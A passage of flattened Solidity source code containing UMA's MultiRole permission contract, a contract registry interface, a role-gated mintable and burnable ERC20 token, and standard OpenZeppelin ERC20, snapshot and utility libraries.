require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for a registry of contracts and contract creators.
*/
interface RegistryInterface {
/**
* @notice Registers a new contract.
* @dev Only authorized contract creators can call this method.
* @param parties an array of addresses who become parties in the contract.
* @param contractAddress defines the address of the deployed contract.
*/
function registerContract(address[] calldata parties, address contractAddress) external;
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view returns (bool);
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view returns (address[] memory);
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view returns (address[] memory);
/**
* @notice Adds a party to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be added to the contract.
*/
function addPartyToContract(address party) external;
/**
* @notice Removes a party member to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be removed from the contract.
*/
function removePartyFromContract(address party) external;
/**
* @notice checks if an address is a party in a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MultiRole.sol";
import "../interfaces/ExpandedIERC20.sol";
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external virtual override {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external virtual override {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external virtual override {
resetMember(uint256(Roles.Owner), account);
}
}
pragma solidity ^0.6.0;
import "../../math/SafeMath.sol";
import "../../utils/Arrays.sol";
import "../../utils/Counters.sol";
import "./ERC20.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal virtual override {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
